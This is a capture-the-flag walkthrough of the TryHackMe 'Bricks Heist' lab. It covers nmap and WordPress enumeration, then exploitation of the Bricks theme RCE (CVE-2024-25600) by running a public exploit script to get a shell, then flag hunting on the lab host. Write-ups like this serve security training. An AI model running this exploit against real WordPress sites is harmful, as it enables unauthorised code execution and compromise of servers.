TryHack3M: Bricks Heist - CTF Walkthrough
Hi! Welcome to this new walkthrough :D. On this one we have what seems to be a web application. The challenge's description already throws a hint: "an RCE CVE as your key". This means we'll very likely be looking at the versions of everything running here! In the meantime we'll need to answer some questions. So let's get started!
Initial recon and enumeration
First, as always run nmap
. We can immediately discover these open ports:
443 - HTTPS - Might host different stuff than the HTTP server, or maybe the same
80 - HTTP - Once again, could be different from the HTTPS server
22 - SSH - Useful if we get creds or the unathenticated RCE is here (though I doubt that)
3306 - MySQL - Very juicy find, unathenticated RCE could perfectly be here, plus this shouldn't be exposed to the outside.
The rest of the nmap
output reveals LOTS of stuff:
# Nmap 7.97 scan initiated Thu Jul 31 17:21:38 2025 as: nmap -p- -sS -sC -sV -O -oN port_scan.txt -v 10.X.X.X
Nmap scan report for bricks.thm (10.X.X.X)
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ce:93:03:db:ce:95:78:f8:46:de:21:ad:c4:ec:52:03 (RSA)
| 256 c2:73:d9:64:97:bc:2e:6a:13:86:33:dc:57:35:d8:74 (ECDSA)
|_ 256 2b:40:f2:29:48:c3:2f:f6:b7:7e:e9:60:0c:68:67:ca (ED25519)
80/tcp open http Python http.server 3.5 - 3.10
|_http-server-header: WebSockify Python/3.8.10
|_http-title: Error response
443/tcp open ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Brick by Brick
|_http-server-header: Apache
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-02T11:59:14
| Not valid after: 2025-04-02T11:59:14
| MD5: f1df 99bc d5ab 5a5a 5709 5099 4add a385
| SHA-1: 1f26 54bb e2c5 b4a1 1f62 5ea0 af00 0261 35da 23c3
|_SHA-256: 6646 7120 90a1 f20f 69f0 5ea1 8f85 d9d4 baef e272 ff36 5253 2556 8bae 60e6 f43c
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 6.5
3306/tcp open mysql MySQL (unauthorized)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 27.362 days (since Fri Jul 4 08:43:57 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 31 17:25:53 2025 -- 1 IP address (1 host up) scanned in 255.05 seconds
Basically: HTTP uses WebSockify Python version 3.8.10, HTTPS uses ssl/http Apache, on the Apache server Wordpress 6.5 was used, on the robots.txt
/wp-admin/
was disallowed... however /wp-admin/admin-ajax.php
wasn't, and finally the MySQL is running but is unathorized...
Finding what's vulnerable
A decent amount of potential surface. So first I checked ExploitDB and Google for everything on the specific versions we found and got nothing.
Next I decided to actually take a look at the webapp, HTTP just runs WebSockify which is for converting WebSocket traffic to everyday TCP sockets, so the HTTPS is what matters. /
is essentially empty. So I ran dirsearch
and waited. The thing that I noticed was that /cgi-bin/
was present and endpoints like /cgi-bin/test-cgi
and /cgi-bin/printenv
were accessible! Also, we have a readme.html
and license.txt
. Also the phpMyAdmin README, ChangeLog, even parts of the docs! Let's go step by step, even though the test-cgi
is accessible, it is disabled to show any info, once again same for printenv
. phpMyAdmin is version 5.2.1. License file and README were just Wordpress default.
Looking even further into dirsearch
output, XML-RPC is open-wide, and /wp-json/wp/v2/users/
also is, which allows to exfiltrate all users:
[{"id":1,"name":"administrator","url":"http:\/\/localhost:8000","description":"","link":"https:\/\/bricks.thm\/author\/administrator\/","slug":"administrator","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/1bbffe6e4a0d55229bb93384d63c0b8c?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/1bbffe6e4a0d55229bb93384d63c0b8c?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/1bbffe6e4a0d55229bb93384d63c0b8c?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"https:\/\/bricks.thm\/wp-json\/wp\/v2\/users\/1"}],"collection":[{"href":"https:\/\/bricks.thm\/wp-json\/wp\/v2\/users"}]}}]
I decided to after all of this see if wpscan
brought any results. But I didn't see anything we don't know by now.
Then I decided to pivot my efforts, curiosly, the Apache webserver version is being hidden from us... which makes it sound like it is a vulnerable one! So I now wanted to see if I could find the precise version. Common stuff like headers doesn't do, unexistent pages just throw Wordpress error, I then tried using sslscan
to attempt to fingerprint the SSL stack to attempt to correlate with potential server versions and got nothing, then ran WhatWeb and once again nothing... I was running out of patience and ideas.
Do you remember that Websockify was running on port 80? I though that this was potentially a pivot point, so I used wscat
and it managed to connect! I immediately got the output of < RFB 003.008
, which tells this is an RFB handshake, which essentially says this is a VNC server. So I next tried using a proper VNC client to connect to it and didn't manage to do it.
Afterwards I just could think of a dictionary attack against the administrator, and that also didn't work.
I randomly while doing something else in the meantime got an idea I though was brilliant, wpscan
managed to find a used "bricks" theme version 1.9.5. I randomly had the hope it would have some weird RCE CVE. And... YES!!!! YES!!!!! FINALLY!!!!!!! I ACTUALLY WASTED SO MUCH TIME LOOKING AT OTHER STUFF!!!!!
Exploitation TIMEEEEE!!!!!!!
Ok, ok... let's take a breath and see. Bricks version 1.9.5 is vulnerable to a critical unathenticated RCE, CVE-2024-25600. Effectively the vulnerability affects all Bricks installs up to version 1.9.6, and allows an attacker with zero auth to execute arbitrary PHP code on the server. Going more technical the plugin uses the eval()
function inappropiately by throwing whatever is in $php_query_raw
straight into the function. Then this can be triggered by crafting a malicious request to the admin-ajax.php (remember this was allowed before?) endpoint which through the Bricks\Ajax::render_element($element)
method (used to show previews of blocks and elements inside an editor) allows to have user-controlled input as the value of $php_query_raw
. If you didn't understand my explanation (very likely) or want a deeper dive you can check out the same blog post that I used to learn about this.
Next we are going to finally do this! I choosed the exploit by K3ysTr0K3R mostly because it already defaults to getting an interactive shell. So we clone it and cd
right into it. In my case I also did a venv, if you also want to do this a requirements.txt
could look like:
bs4
rich
requests
prompt_toolkit
alive_progress
Next, the arguments are simple, just the URL, a file in case there are multiple URLs to test, and the amount of threads. The bare minimum is more than enough, we can specify the URL and run the exploit:
python3 CVE-2024-25600.py -u https://bricks.thm
And if everything went as it should, we are now in!
_______ ________ ___ ____ ___ __ __ ___ ___________ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ \ / ____/ ___// __ \/ __ \
/ / | | / / __/________/ // / / /_/ / // /_________/ //___ \/ __ \/ / / / / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ __/____/ / /_/ / /_/ / /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/_____/\____/\____/\____/
Coded By: K3ysTr0K3R --> Hello, Friend!
[*] Checking if the target is vulnerable
[+] The target is vulnerable
[*] Initiating exploit against: https://bricks.thm
[*] Initiating interactive shell
[+] Interactive shell opened successfully
Shell>
We are able to run commands like normal and do whatever the hell we feel like doing! Well... unless the user "apache" on the machine doesn't have access, of course.
Getting the flags
Now we are going over each flag one by one:
Just run
ls
and you'll see a file with a questionably large and random looking file name, you can justcat
it.I ran
ps aux
but nothing really looked uncommon/usual, I grabbed the hint which said to runsystemctl | grep running
, look at the output and it is obvious. Well, at least which service it is, to get the name and not description (which isTRYHACK3M
) you'll need to runsystemctl status <service name>
.My first instinct was to check
/var/log/
, and found nothing, then I tried another thousand ways to discover the log file, and after like 20 minutes I decided to just check a walkthrough real quick, and after everythinginet.conf
, yes.conf
was apparently the log file.Next we can
cat
the log file and see some sort of "ID". Still reading the walkthrough, after seeing cyberchef was needed I noticed it looked like some sort of hash or maybe hex. I decided to go first with hex as I didn't feel like waiting another hour on a brute-force attack and that actually worked! Or well, from the hex I then got a base64, which was then a base64, which finally was the address:bc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa
. Except apparently it had an extra character which was thea
betweenh
andd
, making the actual address:bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
.This one just didn't work for me. I just went to blockchair.com and looked up the address, then tried searching on other places, but the only thing I found where walkthroughs on Google spoiling the answer was "LockBit".
Conclusion
Essentially, what we learned is to always be persistent (and a lot), and yeah that's it. Pretty fun the initial part of finding the vulnerable thing! Though the rest was just using walkthroughs lol. Though that was the boring part anyways.